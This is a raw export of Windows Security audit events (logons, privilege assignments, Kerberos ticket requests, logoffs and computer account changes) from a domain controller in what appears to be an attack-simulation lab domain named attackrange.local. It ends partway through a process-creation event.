Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6BBBC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49721

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253899
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6BBBC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253898
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3A006024-7B09-2B58-9332-5E8AF1B97F20}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40800000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253897
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6BB26
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49719

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253896
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6BB26

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253947
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7AB62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253946
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x7AB62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		52797

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253945
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7AB62

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253944
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7A4D6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253943
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x7A4D6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A4DB42B2-B7E6-F529-9FC0-A0D233BE4BF4}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		52796

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253942
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7A4D6

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253941
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{12B44CB3-C4BC-C160-5917-6EC3D720DDC1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40800000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253940
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	attackrange.local
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253951
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81C33
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253950
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C33

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/11/2021 11:52:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253949
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE2A852-0E03-7038-F435-77FBCDFDA136}

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x60810010
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253948
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE2A852-0E03-7038-F435-77FBCDFDA136}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253958
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x591EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=253957
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8288E

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	
		ldap/win-dc-725.attackrange.local/attackrange.local
		ldap/win-dc-725.attackrange.local
		ldap/WIN-DC-725
		ldap/win-dc-725.attackrange.local/ATTACKRANGE
		ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		ldap/WIN-DC-725/ATTACKRANGE
		E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local
		HOST/win-dc-725.attackrange.local/attackrange.local
		HOST/win-dc-725.attackrange.local
		HOST/WIN-DC-725
		HOST/win-dc-725.attackrange.local/ATTACKRANGE
		HOST/WIN-DC-725/ATTACKRANGE
		RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		RestrictedKrbHost/WIN-DC-725
		RestrictedKrbHost/win-dc-725.attackrange.local
		GC/win-dc-725.attackrange.local/attackrange.local
		DNS/win-dc-725.attackrange.local
		ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local
		ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local
		TERMSRV/win-dc-725.attackrange.local
		TERMSRV/WIN-DC-725

Additional Information:
	Privileges:		-
03/11/2021 11:52:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=253955
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8288E

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	
		ldap/win-dc-725.attackrange.local/attackrange.local
		ldap/win-dc-725.attackrange.local
		ldap/WIN-DC-725
		ldap/win-dc-725.attackrange.local/ATTACKRANGE
		ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		ldap/WIN-DC-725/ATTACKRANGE
		E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local
		HOST/win-dc-725.attackrange.local/attackrange.local
		HOST/win-dc-725.attackrange.local
		HOST/WIN-DC-725
		HOST/win-dc-725.attackrange.local/ATTACKRANGE
		HOST/WIN-DC-725/ATTACKRANGE
		RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		RestrictedKrbHost/WIN-DC-725
		RestrictedKrbHost/win-dc-725.attackrange.local
		GC/win-dc-725.attackrange.local/attackrange.local
		DNS/win-dc-725.attackrange.local
		ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local
		ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local
		TERMSRV/win-dc-725.attackrange.local

Additional Information:
	Privileges:		-
03/11/2021 11:52:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253953
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8288E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62290

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253952
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8288E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253961
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x855AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253960
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x855AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62291

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253959
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x855AD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0
